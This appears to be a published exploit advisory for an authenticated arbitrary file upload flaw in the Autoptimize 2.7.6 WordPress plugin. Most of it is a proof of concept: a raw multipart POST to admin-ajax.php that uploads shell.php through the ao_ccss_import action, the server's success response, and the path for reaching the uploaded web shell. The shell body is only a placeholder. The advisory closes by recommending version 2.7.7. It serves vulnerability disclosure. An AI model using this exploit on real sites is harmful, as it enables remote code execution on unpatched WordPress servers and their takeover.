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WordPress Autoptimize 2.7.6 Shell Upload

WordPress Autoptimize 2.7.6 Shell Upload
Posted Aug 28, 2020
Authored by SunCSR

WordPress Autoptimize plugin version 2.7.6 suffers from an authenticated remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 22351f0d0d7c3f44bb5f337f9236dda428c979d350043aa67d965801fc39d337

WordPress Autoptimize 2.7.6 Shell Upload

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# Exploit Title: Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated)
# Date: 2020-08-24
# Software Link: https://wordpress.org/plugins/autoptimize/
# Author : SunCSR Team
# Version: v2.7.6
# Tested on Ubuntu 18.04 / Kali Linux
# Reference: https://wpvulndb.com/vulnerabilities/10372

Description :
-------------------------------------------------------------------

The ao_ccss_import AJAX call does not ensure that the file provided is a
legitimate Zip file, allowing high privilege users to upload arbitrary
files, such as PHP, leading to RCE.

[POC]

Step 1 :
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: pwnme
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101
Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://pwnme.me/wordpress/wp-admin/options-general.php?page=ao_critcss
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------26086940735210916964189813544
Content-Length: 685
Origin: http://pwnme
Connection: close
Cookie: autoptimize_feed=1;
wordpress_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7Cc2f54fb4e357d2c591b7e5f53e6adb9531b0de5cc5fbc3cab3185f63917307cd;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7C409cbfa6f750ff5902273e879e79d9f746c038c35228c978ea9cc3525eb12602;
wp-settings-time-1=1598516614


-----------------------------404272946439029073744006559647
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/zip

<?php Shell Content Here ! ?>
-----------------------------404272946439029073744006559647
Content-Disposition: form-data; name="action"

ao_ccss_import
-----------------------------404272946439029073744006559647
Content-Disposition: form-data; name="ao_ccss_import_nonce"

f25ca64f22
-----------------------------404272946439029073744006559647--


[Response]

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 27 Aug 2020 08:21:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Access-Control-Allow-Origin: http://pwnme.me
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 53

{"code":"200","msg":"Settings imported successfully"}


Step 2: Access to
http://victim//wordpress/wp-content/uploads/ao_ccss/shell.php


Recommendations: Update to version 2.7.7


Thank you very much!
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